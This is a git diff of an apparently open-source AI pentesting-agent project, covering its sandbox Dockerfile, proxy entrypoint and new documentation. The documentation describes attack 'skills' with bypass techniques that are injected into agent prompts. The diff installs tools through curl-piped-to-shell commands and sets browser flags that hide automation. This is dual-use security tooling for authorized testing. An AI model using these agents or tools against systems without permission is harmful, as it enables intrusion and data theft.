https://astral.sh/uv/install.sh | env UV_INSTALL_DIR=/usr/local/bin sh USER pentester WORKDIR /tmp @@ -86,7 +75,7 @@ RUN nuclei -update-templates RUN pipx install arjun && \ pipx install dirsearch && \ - pipx inject dirsearch setuptools && \ + pipx inject dirsearch 'setuptools<81' && \ pipx install wafw00f ENV NPM_CONFIG_PREFIX=/home/pentester/.npm-global @@ -94,7 +83,43 @@ RUN mkdir -p /home/pentester/.npm-global RUN npm install -g retire@latest && \ npm install -g eslint@latest && \ - npm install -g js-beautify@latest + npm install -g js-beautify@latest && \ + npm install -g @ast-grep/cli@latest && \ + npm install -g tree-sitter-cli@latest && \ + npm install -g agent-browser@0.26.0 + +ENV AGENT_BROWSER_EXECUTABLE_PATH=/usr/bin/chromium +ENV AGENT_BROWSER_USER_AGENT="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" +ENV AGENT_BROWSER_ARGS="--disable-blink-features=AutomationControlled,--no-first-run,--no-default-browser-check,--lang=en-US" +ENV AGENT_BROWSER_SCREENSHOT_DIR=/workspace/.agent-browser-screenshots +RUN /home/pentester/.npm-global/bin/agent-browser doctor --offline --quick + +RUN set -eux; \ + TS_PARSER_DIR="/home/pentester/.tree-sitter/parsers"; \ + mkdir -p "${TS_PARSER_DIR}"; \ + for repo in tree-sitter-java tree-sitter-javascript tree-sitter-python tree-sitter-go tree-sitter-bash tree-sitter-json tree-sitter-yaml tree-sitter-typescript; do \ + if [ "$repo" = "tree-sitter-yaml" ]; then \ + repo_url="https://github.com/tree-sitter-grammars/${repo}.git"; \ + else \ + repo_url="https://github.com/tree-sitter/${repo}.git"; \ + fi; \ + if [ ! -d "${TS_PARSER_DIR}/${repo}" ]; then \ + git clone --depth 1 "${repo_url}" "${TS_PARSER_DIR}/${repo}"; \ + fi; \ + done; \ + if [ -d "${TS_PARSER_DIR}/tree-sitter-typescript/typescript" ]; then \ + ln -sfn "${TS_PARSER_DIR}/tree-sitter-typescript/typescript" "${TS_PARSER_DIR}/tree-sitter-typescript-typescript"; \ + fi; \ + if [ -d "${TS_PARSER_DIR}/tree-sitter-typescript/tsx" ]; then \ + ln -sfn "${TS_PARSER_DIR}/tree-sitter-typescript/tsx" "${TS_PARSER_DIR}/tree-sitter-typescript-tsx"; \ + fi; \ + tree-sitter init-config >/dev/null 2>&1 || true; \ + TS_CONFIG="/home/pentester/.config/tree-sitter/config.json"; \ + mkdir -p "$(dirname "${TS_CONFIG}")"; \ + [ -f "${TS_CONFIG}" ] || printf '{}\n' > "${TS_CONFIG}"; \ + TMP_CFG="$(mktemp)"; \ + jq --arg p "${TS_PARSER_DIR}" '.["parser-directories"] = ((.["parser-directories"] // []) + [$p] | unique)' "${TS_CONFIG}" > "${TMP_CFG}"; \ + mv "${TMP_CFG}" "${TS_CONFIG}" WORKDIR /home/pentester/tools RUN git clone https://github.com/aravind0x7/JS-Snooper.git && \ @@ -107,6 +132,18 @@ RUN git clone https://github.com/aravind0x7/JS-Snooper.git && \ USER root RUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin +RUN set -eux; \ + ARCH="$(uname -m)"; \ + case "$ARCH" in \ + x86_64) GITLEAKS_ARCH="x64" ;; \ + aarch64|arm64) GITLEAKS_ARCH="arm64" ;; \ + *) echo "Unsupported architecture: $ARCH" >&2; exit 1 ;; \ + esac; \ + TAG="$(curl -fsSL https://api.github.com/repos/gitleaks/gitleaks/releases/latest | jq -r .tag_name)"; \ + curl -fsSL "https://github.com/gitleaks/gitleaks/releases/download/${TAG}/gitleaks_${TAG#v}_linux_${GITLEAKS_ARCH}.tar.gz" -o /tmp/gitleaks.tgz; \ + tar -xzf /tmp/gitleaks.tgz -C /tmp; \ + install -m 0755 /tmp/gitleaks /usr/local/bin/gitleaks; \ + rm -f /tmp/gitleaks /tmp/gitleaks.tgz RUN apt-get update && apt-get install -y zaproxy @@ -127,12 +164,12 @@ RUN apt-get autoremove -y && \ apt-get autoclean && \ rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* -ENV PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/venv/bin:$PATH" -ENV VIRTUAL_ENV="/app/venv" -ENV POETRY_HOME="/opt/poetry" +ENV PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH" +ENV VIRTUAL_ENV="/app/.venv" WORKDIR /app +ARG CAIDO_VERSION=0.56.0 RUN ARCH=$(uname -m) && \ if [ "$ARCH" = "x86_64" ]; then \ CAIDO_ARCH="x86_64"; \ @@ -141,41 +178,29 @@ RUN ARCH=$(uname -m) && \ else \ echo "Unsupported architecture: $ARCH" && exit 1; \ fi && \ - wget -O caido-cli.tar.gz https://caido.download/releases/v0.48.0/caido-cli-v0.48.0-linux-${CAIDO_ARCH}.tar.gz && \ + wget -O caido-cli.tar.gz "https://caido.download/releases/v${CAIDO_VERSION}/caido-cli-v${CAIDO_VERSION}-linux-${CAIDO_ARCH}.tar.gz" && \ tar -xzf caido-cli.tar.gz && \ chmod +x caido-cli && \ rm caido-cli.tar.gz && \ mv caido-cli /usr/local/bin/ -ENV STRIX_SANDBOX_MODE=true -ENV PYTHONPATH=/app ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt -RUN mkdir -p /shared_workspace /workspace && chown -R pentester:pentester /shared_workspace /workspace /app - -COPY pyproject.toml poetry.lock ./ +RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app USER pentester -RUN poetry install --no-root --without dev -RUN poetry run playwright install chromium - -RUN /app/venv/bin/pip install -r /home/pentester/tools/jwt_tool/requirements.txt && \ - ln -s /home/pentester/tools/jwt_tool/jwt_tool.py /home/pentester/.local/bin/jwt_tool - -RUN echo "# Sandbox Environment" > README.md - -COPY strix/__init__.py strix/ -COPY strix/runtime/tool_server.py strix/runtime/__init__.py strix/runtime/runtime.py /app/strix/runtime/ - -COPY strix/tools/__init__.py strix/tools/registry.py strix/tools/executor.py strix/tools/argument_parser.py /app/strix/tools/ - -COPY strix/tools/browser/ /app/strix/tools/browser/ -COPY strix/tools/file_edit/ /app/strix/tools/file_edit/ -COPY strix/tools/notes/ /app/strix/tools/notes/ -COPY strix/tools/python/ /app/strix/tools/python/ -COPY strix/tools/terminal/ /app/strix/tools/terminal/ -COPY strix/tools/proxy/ /app/strix/tools/proxy/ +RUN python3 -m venv /app/.venv && \ + /app/.venv/bin/pip install --no-cache-dir caido-sdk-client && \ + /app/.venv/bin/pip install --no-cache-dir -r /home/pentester/tools/jwt_tool/requirements.txt && \ + printf '%s\n' \ + '#!/bin/bash' \ + 'exec /app/.venv/bin/python /home/pentester/tools/jwt_tool/jwt_tool.py "$@"' \ + > /home/pentester/.local/bin/jwt_tool && \ + chmod +x /home/pentester/.local/bin/jwt_tool + +COPY --chown=pentester:pentester strix/tools/proxy/caido_api.py /opt/strix-python/caido_api.py +ENV PYTHONPATH=/opt/strix-python RUN echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.bashrc && \ echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.profile diff --git a/containers/docker-entrypoint.sh b/containers/docker-entrypoint.sh index 10eea7a69..f8e179b1d 100644 --- a/containers/docker-entrypoint.sh +++ b/containers/docker-entrypoint.sh @@ -1,77 +1,53 @@ #!/bin/bash set -e -if [ -z "$CAIDO_PORT" ] || [ -z "$STRIX_TOOL_SERVER_PORT" ]; then - echo "Error: CAIDO_PORT and STRIX_TOOL_SERVER_PORT must be set." - exit 1 +CAIDO_PORT=48080 +CAIDO_LOG="/tmp/caido_startup.log" + +if [ ! -f /app/certs/ca.p12 ]; then + echo "ERROR: CA certificate file /app/certs/ca.p12 not found." + exit 1 fi -caido-cli --listen 127.0.0.1:${CAIDO_PORT} \ +caido-cli --listen 0.0.0.0:${CAIDO_PORT} \ --allow-guests \ --no-logging \ --no-open \ --import-ca-cert /app/certs/ca.p12 \ - --import-ca-cert-pass "" > /dev/null 2>&1 & + --import-ca-cert-pass "" > "$CAIDO_LOG" 2>&1 & + +CAIDO_PID=$! +echo "Started Caido with PID $CAIDO_PID on port $CAIDO_PORT" echo "Waiting for Caido API to be ready..." +CAIDO_READY=false for i in {1..30}; do - if curl -s -o /dev/null http://localhost:${CAIDO_PORT}/graphql; then - echo "Caido API is ready." + if ! kill -0 $CAIDO_PID 2>/dev/null; then + echo "ERROR: Caido process died while waiting for API (iteration $i)." + echo "=== Caido log ===" + cat "$CAIDO_LOG" 2>/dev/null || echo "(no log available)" + exit 1 + fi + + if curl -s -o /dev/null -w "%{http_code}" http://localhost:${CAIDO_PORT}/graphql/ | grep -qE "^(200|400)$"; then + echo "Caido API is ready (attempt $i)." + CAIDO_READY=true break fi sleep 1 done -sleep 2 - -echo "Fetching API token..." -TOKEN=$(curl -s -X POST \ - -H "Content-Type: application/json" \ - -d '{"query":"mutation LoginAsGuest { loginAsGuest { token { accessToken } } }"}' \ - http://localhost:${CAIDO_PORT}/graphql | jq -r '.data.loginAsGuest.token.accessToken') - -if [ -z "$TOKEN" ] || [ "$TOKEN" == "null" ]; then - echo "Failed to get API token from Caido." - curl -s -X POST -H "Content-Type: application/json" -d '{"query":"mutation { loginAsGuest { token { accessToken } } }"}' http://localhost:${CAIDO_PORT}/graphql +if [ "$CAIDO_READY" = false ]; then + echo "ERROR: Caido API did not become ready within 30 seconds." + echo "Caido process status: $(kill -0 $CAIDO_PID 2>&1 && echo 'running' || echo 'dead')" + echo "=== Caido log ===" + cat "$CAIDO_LOG" 2>/dev/null || echo "(no log available)" exit 1 fi -export CAIDO_API_TOKEN=$TOKEN -echo "Caido API token has been set." - -echo "Creating a new Caido project..." -CREATE_PROJECT_RESPONSE=$(curl -s -X POST \ - -H "Content-Type: application/json" \ - -H "Authorization: Bearer $TOKEN" \ - -d '{"query":"mutation CreateProject { createProject(input: {name: \"sandbox\", temporary: true}) { project { id } } }"}' \ - http://localhost:${CAIDO_PORT}/graphql) - -PROJECT_ID=$(echo $CREATE_PROJECT_RESPONSE | jq -r '.data.createProject.project.id') - -if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" == "null" ]; then - echo "Failed to create Caido project." - echo "Response: $CREATE_PROJECT_RESPONSE" - exit 1 -fi - -echo "Caido project created with ID: $PROJECT_ID" - -echo "Selecting Caido project..." -SELECT_RESPONSE=$(curl -s -X POST \ - -H "Content-Type: application/json" \ - -H "Authorization: Bearer $TOKEN" \ - -d '{"query":"mutation SelectProject { selectProject(id: \"'$PROJECT_ID'\") { currentProject { project { id } } } }"}' \ - http://localhost:${CAIDO_PORT}/graphql) - -SELECTED_ID=$(echo $SELECT_RESPONSE | jq -r '.data.selectProject.currentProject.project.id') - -if [ "$SELECTED_ID" != "$PROJECT_ID" ]; then - echo "Failed to select Caido project." - echo "Response: $SELECT_RESPONSE" - exit 1 -fi +sleep 2 -echo "✅ Caido project selected successfully." +echo "Caido is up — host bootstraps the guest token + project via the Python SDK." echo "Configuring system-wide proxy settings..." @@ -81,9 +57,9 @@ export https_proxy=http://127.0.0.1:${CAIDO_PORT} export HTTP_PROXY=http://127.0.0.1:${CAIDO_PORT} export HTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT} export ALL_PROXY=http://127.0.0.1:${CAIDO_PORT} +export NO_PROXY=localhost,127.0.0.1 export REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt export SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt -export CAIDO_API_TOKEN=${TOKEN} EOF cat << EOF | sudo tee /etc/environment @@ -92,7 +68,7 @@ https_proxy=http://127.0.0.1:${CAIDO_PORT} HTTP_PROXY=http://127.0.0.1:${CAIDO_PORT} HTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT} ALL_PROXY=http://127.0.0.1:${CAIDO_PORT} -CAIDO_API_TOKEN=${TOKEN} +NO_PROXY=localhost,127.0.0.1 EOF cat << EOF | sudo tee /etc/wgetrc @@ -114,15 +90,9 @@ sudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb echo "✅ CA added to browser trust store" -echo "Starting tool server..." -cd /app && \ -STRIX_SANDBOX_MODE=true \ -STRIX_SANDBOX_TOKEN=${STRIX_SANDBOX_TOKEN} \ -CAIDO_API_TOKEN=${TOKEN} \ -poetry run uvicorn strix.runtime.tool_server:app --host 0.0.0.0 --port ${STRIX_TOOL_SERVER_PORT} & +mkdir -p /workspace/.agent-browser-screenshots -echo "✅ Tool server started in background" +echo "✅ Container ready" cd /workspace - exec "$@" diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 000000000..cc1989533 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,10 @@ +# Strix Documentation + +Documentation source files for Strix, powered by [Mintlify](https://mintlify.com). + +## Local Preview + +```bash +npm i -g mintlify +cd docs && mintlify dev +``` diff --git a/docs/advanced/configuration.mdx b/docs/advanced/configuration.mdx new file mode 100644 index 000000000..5d56c9a16 --- /dev/null +++ b/docs/advanced/configuration.mdx @@ -0,0 +1,130 @@ +--- +title: "Configuration" +description: "Environment variables for Strix" +--- + +Configure Strix using environment variables or a config file. + +## LLM Configuration + + + Model name in LiteLLM format (e.g., `openai/gpt-5.4`, `anthropic/claude-sonnet-4-6`). + + + + API key for your LLM provider. Not required for local models or cloud provider auth (Vertex AI, AWS Bedrock). + + + + Custom API base URL. Also accepts `OPENAI_API_BASE`, `LITELLM_BASE_URL`, or `OLLAMA_API_BASE`. + + + + Request timeout in seconds for LLM calls. + + + + Maximum number of retries for LLM API calls on transient failures. + + + + Control thinking effort for reasoning models. Valid values: `none`, `minimal`, `low`, `medium`, `high`, `xhigh`. Defaults to `medium` for quick scan mode. + + + + Timeout in seconds for memory compression operations (context summarization). + + +## Optional Features + + + API key for Perplexity AI. Enables real-time web search during scans for OSINT and vulnerability research. + + + + Telemetry toggle. Set to `0`, `false`, `no`, or `off` to disable telemetry (PostHog, Scarf, OTEL). + + + + OTLP/Traceloop base URL for remote OpenTelemetry export. If unset, Strix keeps traces local only. + + + + API key used for remote trace export. Remote export is enabled only when both `TRACELOOP_BASE_URL` and `TRACELOOP_API_KEY` are set. + + + + Optional custom OTEL headers (JSON object or `key=value,key2=value2`). Useful for Langfuse or custom/self-hosted OTLP gateways. + + +When remote OTEL vars are not set, Strix still writes complete run telemetry locally to: + +```bash +strix_runs//events.jsonl +``` + +When remote vars are set, Strix dual-writes telemetry to both local JSONL and the remote OTEL endpoint. + +## Docker Configuration + + + Docker image to use for the sandbox container. + + + + Docker daemon socket path. Use for remote Docker hosts or custom configurations. + + + + Runtime backend for the sandbox environment. + + + + Maximum size (in MB) of a local directory target that Strix will copy into the sandbox file-by-file. Larger targets exit early with a suggestion to use `--mount` instead. Set to `0` to disable the check. + + +## Sandbox Configuration + + + Maximum execution time in seconds for sandbox operations. + + + + Timeout in seconds for connecting to the sandbox container. + + +## Config File + +Strix stores configuration in `~/.strix/cli-config.json`. You can also specify a custom config file: + +```bash +strix --target ./app --config /path/to/config.json +``` + +**Config file format:** + +```json +{ + "env": { + "STRIX_LLM": "openai/gpt-5.4", + "LLM_API_KEY": "sk-...", + "STRIX_REASONING_EFFORT": "high" + } +} +``` + +## Example Setup + +```bash +# Required +export STRIX_LLM="openai/gpt-5.4" +export LLM_API_KEY="sk-..." + +# Optional: Enable web search +export PERPLEXITY_API_KEY="pplx-..." + +# Optional: Custom timeouts +export LLM_TIMEOUT="600" +export STRIX_SANDBOX_EXECUTION_TIMEOUT="300" + +``` diff --git a/docs/advanced/skills.mdx b/docs/advanced/skills.mdx new file mode 100644 index 000000000..38aacd003 --- /dev/null +++ b/docs/advanced/skills.mdx @@ -0,0 +1,136 @@ +--- +title: "Skills" +description: "Specialized knowledge packages that enhance agent capabilities" +--- + +Skills are structured knowledge packages that give Strix agents deep expertise in specific vulnerability types, technologies, and testing methodologies. + +## The Idea + +LLMs have broad but shallow security knowledge. They know _about_ SQL injection, but lack the nuanced techniques that experienced pentesters use—parser quirks, bypass methods, validation tricks, and chain attacks. + +Skills inject this deep, specialized knowledge directly into the agent's context, transforming it from a generalist into a specialist for the task at hand. + +## How They Work + +When Strix spawns an agent for a specific task, it selects up to 5 relevant skills based on the context: + +```python +# Agent created for JWT testing automatically loads relevant skills +create_agent( + task="Test authentication mechanisms", + skills=["authentication_jwt", "business_logic"] +) +``` + +The skills are injected into the agent's system prompt, giving it access to: + +- **Advanced techniques** — Non-obvious methods beyond standard testing +- **Working payloads** — Practical examples with variations +- **Validation methods** — How to confirm findings and avoid false positives + +## Skill Categories + +### Vulnerabilities + +Core vulnerability classes with deep exploitation techniques. + +| Skill | Coverage | +| ------------------------------------- | ------------------------------------------------------ | +| `authentication_jwt` | JWT attacks, algorithm confusion, claim tampering | +| `idor` | Object reference attacks, horizontal/vertical access | +| `sql_injection` | SQL injection variants, WAF bypasses, blind techniques | +| `xss` | XSS types, filter bypasses, DOM exploitation | +| `ssrf` | Server-side request forgery, protocol handlers | +| `csrf` | Cross-site request forgery, token bypasses | +| `xxe` | XML external entities, OOB exfiltration | +| `rce` | Remote code execution vectors | +| `business_logic` | Logic flaws, state manipulation, race conditions | +| `race_conditions` | TOCTOU, parallel request attacks | +| `path_traversal_lfi_rfi` | File inclusion, path traversal | +| `open_redirect` | Redirect bypasses, URL parsing tricks | +| `mass_assignment` | Attribute injection, hidden parameter pollution | +| `insecure_file_uploads` | Upload bypasses, extension tricks | +| `information_disclosure` | Data leakage, error-based enumeration | +| `subdomain_takeover` | Dangling DNS, cloud resource claims | +| `broken_function_level_authorization` | Privilege escalation, role bypasses | + +### Frameworks + +Framework-specific testing patterns. + +| Skill | Coverage | +| --------- | -------------------------------------------- | +| `fastapi` | FastAPI security patterns, Pydantic bypasses | +| `nextjs` | Next.js SSR/SSG issues, API route security | + +### Technologies + +Third-party service and platform security. + +| Skill | Coverage | +| -------------------- | ---------------------------------- | +| `supabase` | Supabase RLS bypasses, auth issues | +| `firebase_firestore` | Firestore rules, Firebase auth | + +### Protocols + +Protocol-specific testing techniques. + +| Skill | Coverage | +| --------- | ------------------------------------------------ | +| `graphql` | GraphQL introspection, batching, resolver issues | + +### Tooling + +Sandbox CLI playbooks for core recon and scanning tools. + +| Skill | Coverage | +| ----------- | ------------------------------------------------------- | +| `nmap` | Port/service scan syntax and high-signal scan patterns | +| `nuclei` | Template selection, severity filtering, and rate tuning | +| `httpx` | HTTP probing and fingerprint output patterns | +| `ffuf` | Wordlist fuzzing, matcher/filter strategy, recursion | +| `subfinder` | Passive subdomain enumeration and source control | +| `naabu` | Fast port scanning with explicit rate/verify controls | +| `katana` | Crawl depth/JS/known-files behavior and pitfalls | +| `sqlmap` | SQLi workflow for enumeration and controlled extraction | + +## Skill Structure + +Each skill is a Markdown file with YAML frontmatter for metadata: + +```markdown +--- +name: skill_name +description: Brief description of the skill's coverage +--- + +# Skill Title + +Key insight about this vulnerability or technique. + +## Attack Surface +What this skill covers and where to look. + +## Methodology +Step-by-step testing approach. + +## Techniques +How to discover and exploit the vulnerability. + +## Bypass Methods +How to bypass common protections. + +## Validation +How to confirm findings and avoid false positives. +``` + +## Contributing Skills + +Community contributions are welcome. Create a `.md` file in the appropriate category with YAML frontmatter (`name` and `description` fields). Good skills include: + +1. **Real-world techniques** — Methods that work in practice +2. **Practical payloads** — Working examples with variations +3. **Validation steps** — How to confirm without false positives +4. **Context awareness** — Version/environment-specific behavior diff --git a/docs/cloud/overview.mdx b/docs/cloud/overview.mdx new file mode 100644 index 000000000..8b6e584df --- /dev/null +++ b/docs/cloud/overview.mdx @@ -0,0 +1,40 @@ +--- +title: "Introduction" +description: "Managed security testing without local setup" +--- + +Skip the setup. Run Strix in the cloud at [app.strix.ai](https://app.strix.ai). + +## Features + + + + No Docker, API keys, or local installation needed. + + + Detailed findings with remediation guidance. + + + Track vulnerabilities and fixes over time. + + + Automatic scans on pull requests. + + + +## What You Get + +- **Penetration test reports** — Validated findings with PoCs +- **Shareable dashboards** — Collaborate with your team +- **CI/CD integration** — Block risky changes automatically +- **Continuous monitoring** — Catch new vulnerabilities quickly + +## Getting Started + +1. Sign up at [app.strix.ai](https://app.strix.ai) +2. Connect your repository or enter a target URL +3. Launch your first scan + + + Run your first pentest in minutes. + diff --git a/docs/contributing.mdx b/docs/contributing.mdx new file mode 100644 index 000000000..2d91529d6 --- /dev/null +++ b/docs/contributing.mdx @@ -0,0 +1,96 @@ +--- +title: "Contributing" +description: "Contribute to Strix development" +--- + +## Development Setup + +### Prerequisites + +- Python 3.12+ +- Docker (running) +- [uv](https://docs.astral.sh/uv/) +- Git + +### Local Development + + + + ```bash + git clone https://github.com/usestrix/strix.git + cd strix + ``` + + + ```bash + make setup-dev + + # or manually: + uv sync + uv run pre-commit install + ``` + + + ```bash + export STRIX_LLM="openai/gpt-5.4" + export LLM_API_KEY="your-api-key" + ``` + + + ```bash + uv run strix --target https://example.com + ``` + + + +## Contributing Skills + +Skills are specialized knowledge packages that enhance agent capabilities. They live in `strix/skills/` + +### Creating a Skill + +1. Choose the right category +2. Create a `.md` file with YAML frontmatter (`name` and `description` fields) +3. Include practical examples—working payloads, commands, test cases +4. Provide validation methods to confirm findings +5. Submit via PR + +## Contributing Code + +### Pull Request Process + +1. **Create an issue first** — Describe the problem or feature +2. **Fork and branch** — Work from `main` +3. **Make changes** — Follow existing code style +4. **Write tests** — Ensure coverage for new features +5. **Run checks** — `make check-all` should pass +6. **Submit PR** — Link to issue and provide context + +### Code Style + +- PEP 8 with 100-character line limit +- Type hints for all functions +- Docstrings for public methods +- Small, focused functions +- Meaningful variable names + +## Reporting Issues + +Include: + +- Python version and OS +- Strix version (`strix --version`) +- LLM being used +- Full error traceback +- Steps to reproduce + +## Community + + + + Join the community for help and discussion. + + + Report bugs and request features. + + diff --git a/docs/docs.json b/docs/docs.json new file mode 100644 index 000000000..23cf23867 --- /dev/null +++ b/docs/docs.json @@ -0,0 +1,130 @@ +{ + "$schema": "https://mintlify.com/docs.json", + "theme": "maple", + "name": "Strix", + "colors": { + "primary": "#000000", + "light": "#ffffff", + "dark": "#000000" + }, + "favicon": "/images/favicon-48.ico", + "navigation": { + "tabs": [ + { + "tab": "Documentation", + "groups": [ + { + "group": "Getting Started", + "pages": [ + "index", + "quickstart" + ] + }, + { + "group": "Usage", + "pages": [ + "usage/cli", + "usage/scan-modes", + "usage/instructions" + ] + }, + { + "group": "LLM Providers", + "pages": [ + "llm-providers/overview", + "llm-providers/openai", + "llm-providers/anthropic", + "llm-providers/openrouter", + "llm-providers/vertex", + "llm-providers/bedrock", + "llm-providers/azure", + "llm-providers/novita", + "llm-providers/local" + ] + }, + { + "group": "Integrations", + "pages": [ + "integrations/github-actions", + "integrations/ci-cd" + ] + }, + { + "group": "Tools", + "pages": [ + "tools/overview", + "tools/browser", + "tools/proxy", + "tools/terminal", + "tools/sandbox" + ] + }, + { + "group": "Advanced", + "pages": [ + "advanced/configuration", + "advanced/skills", + "contributing" + ] + } + ] + }, + { + "tab": "Cloud", + "groups": [ + { + "group": "Strix Cloud", + "pages": [ + "cloud/overview" + ] + } + ] + } + ], + "global": { + "anchors": [ + { + "anchor": "GitHub", + "href": "https://github.com/usestrix/strix", + "icon": "github" + }, + { + "anchor": "Discord", + "href": "https://discord.gg/strix-ai", + "icon": "discord" + } + ] + } + }, + "navbar": { + "links": [], + "primary": { + "type": "button", + "label": "Try Strix Cloud", + "href": "https://app.strix.ai" + } + }, + "footer": { + "socials": { + "x": "https://x.com/strix_ai", + "github": "https://github.com/usestrix", + "discord": "https://discord.gg/strix-ai" + } + }, + "fonts": { + "family": "Geist", + "heading": { + "family": "Geist" + }, + "body": { + "family": "Geist" + } + }, + "appearance": { + "default": "dark" + }, + "description": "Open-source AI Hackers to secure your Apps", + "background": { + "decoration": "grid" + } +} diff --git a/docs/images/favicon-48.ico b/docs/images/favicon-48.ico new file mode 100644 index 000000000..64be0c4ad Binary files /dev/null and b/docs/images/favicon-48.ico differ diff --git a/docs/images/logo.png b/docs/images/logo.png new file mode 100644 index 000000000..699eb8373 Binary files /dev/null and b/docs/images/logo.png differ diff --git a/docs/images/screenshot.png b/docs/images/screenshot.png new file mode 100644 index 000000000..f15e14c2a Binary files /dev/null and b/docs/images/screenshot.png differ diff --git a/docs/index.mdx b/docs/index.mdx new file mode 100644 index 000000000..2d4014893 --- /dev/null +++ b/docs/index.mdx @@ -0,0 +1,101 @@ +--- +title: "Introduction" +description: "Open-source AI hackers to secure your apps" +--- + +Strix are autonomous AI agents that act like real hackers—they run your code dynamically, find vulnerabilities, and validate them with proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools. + + + Strix Demo + + + + + Install and run your first scan in minutes. + + + Learn all command-line options. + + + Explore the security testing toolkit. + + + Integrate into your CI/CD pipeline. + + + +## Use Cases + +- **Application Security Testing** — Detect and validate critical vulnerabilities in your applications +- **Rapid Penetration Testing** — Get penetration tests done in hours, not weeks +- **Bug Bounty Automation** — Automate research and generate PoCs for faster reporting +- **CI/CD Integration** — Block vulnerabilities before they reach production + +## Key Capabilities + +- **Full hacker toolkit** — Browser automation, HTTP proxy, terminal, Python runtime +- **Real validation** — PoCs, not false positives +- **Multi-agent orchestration** — Specialized agents collaborate on complex targets +- **Developer-first CLI** — Interactive TUI or headless mode for automation + +## Security Tools + +Strix agents come equipped with a comprehensive toolkit: + +| Tool | Purpose | +|------|---------| +| HTTP Proxy | Full request/response manipulation and analysis | +| Browser Automation | Multi-tab browser for XSS, CSRF, auth flow testing | +| Terminal | Interactive shells for command execution | +| Python Runtime | Custom exploit development and validation | +| Reconnaissance | Automated OSINT and attack surface mapping | +| Code Analysis | Static and dynamic analysis capabilities | + +## Vulnerability Coverage + +| Category | Examples | +|----------|----------| +| Access Control | IDOR, privilege escalation, auth bypass | +| Injection | SQL, NoSQL, command injection | +| Server-Side | SSRF, XXE, deserialization | +| Client-Side | XSS, prototype pollution, DOM vulnerabilities | +| Business Logic | Race conditions, workflow manipulation | +| Authentication | JWT vulnerabilities, session management | +| Infrastructure | Misconfigurations, exposed services | + +## Multi-Agent Architecture + +Strix uses a graph of specialized agents for comprehensive security testing: + +- **Distributed Workflows** — Specialized agents for different attacks and assets +- **Scalable Testing** — Parallel execution for fast comprehensive coverage +- **Dynamic Coordination** — Agents collaborate and share discoveries + +## Quick Example + +```bash +# Install +curl -sSL https://strix.ai/install | bash + +# Configure +export STRIX_LLM="openai/gpt-5.4" +export LLM_API_KEY="your-api-key" + +# Scan +strix --target ./your-app +``` + +## Community + + + + Join the community for help and discussion. + + + Star the repo and contribute. + + + + +Only test applications you own or have explicit permission to test. + diff --git a/docs/integrations/ci-cd.mdx b/docs/integrations/ci-cd.mdx new file mode 100644 index 000000000..f55ebc16b --- /dev/null +++ b/docs/integrations/ci-cd.mdx @@ -0,0 +1,90 @@ +--- +title: "CI/CD Integration" +description: "Run Strix in any CI/CD pipeline" +--- + +Strix runs in headless mode for automated pipelines. + +## Headless Mode + +Use the `-n` or `--non-interactive` flag: + +```bash +strix -n --target ./app --scan-mode quick +``` + +For pull-request style CI runs, Strix automatically scopes quick scans to changed files. You can force this behavior and set a base ref explicitly: + +```bash +strix -n --target ./app --scan-mode quick --scope-mode diff --diff-base origin/main +``` + +## Exit Codes + +| Code | Meaning | +|------|---------| +| 0 | No vulnerabilities found | +| 1 | Execution error | +| 2 | Vulnerabilities found | + +## GitLab CI + +```yaml .gitlab-ci.yml +security-scan: + image: docker:latest + services: + - docker:dind + variables: + STRIX_LLM: $STRIX_LLM + LLM_API_KEY: $LLM_API_KEY + script: + - curl -sSL https://strix.ai/install | bash + - strix -n -t ./ --scan-mode quick +``` + +## Jenkins + +```groovy Jenkinsfile +pipeline { + agent any + environment { + STRIX_LLM = credentials('strix-llm') + LLM_API_KEY = credentials('llm-api-key') + } + stages { + stage('Security Scan') { + steps { + sh 'curl -sSL https://strix.ai/install | bash' + sh 'strix -n -t ./ --scan-mode quick' + } + } + } +} +``` + +## CircleCI + +```yaml .circleci/config.yml +version: 2.1 +jobs: + security-scan: + docker: + - image: cimg/base:current + steps: + - checkout + - setup_remote_docker + - run: + name: Install Strix + command: curl -sSL https://strix.ai/install | bash + - run: + name: Run Scan + command: strix -n -t ./ --scan-mode quick +``` + + +All CI platforms require Docker access. Ensure your runner has Docker available. + + + +If diff-scope fails in CI, fetch full git history (for example, `fetch-depth: 0` in GitHub Actions) so merge-base and branch comparison can be resolved. + diff --git a/docs/integrations/github-actions.mdx b/docs/integrations/github-actions.mdx new file mode 100644 index 000000000..5952c3a03 --- /dev/null +++ b/docs/integrations/github-actions.mdx @@ -0,0 +1,66 @@ +--- +title: "GitHub Actions" +description: "Run Strix security scans on every pull request" +--- + +Integrate Strix into your GitHub workflow to catch vulnerabilities before they reach production. + +## Basic Workflow + +```yaml .github/workflows/security.yml +name: Security Scan + +on: + pull_request: + +jobs: + strix-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Install Strix + run: curl -sSL https://strix.ai/install | bash + + - name: Run Security Scan + env: + STRIX_LLM: ${{ secrets.STRIX_LLM }} + LLM_API_KEY: ${{ secrets.LLM_API_KEY }} + run: 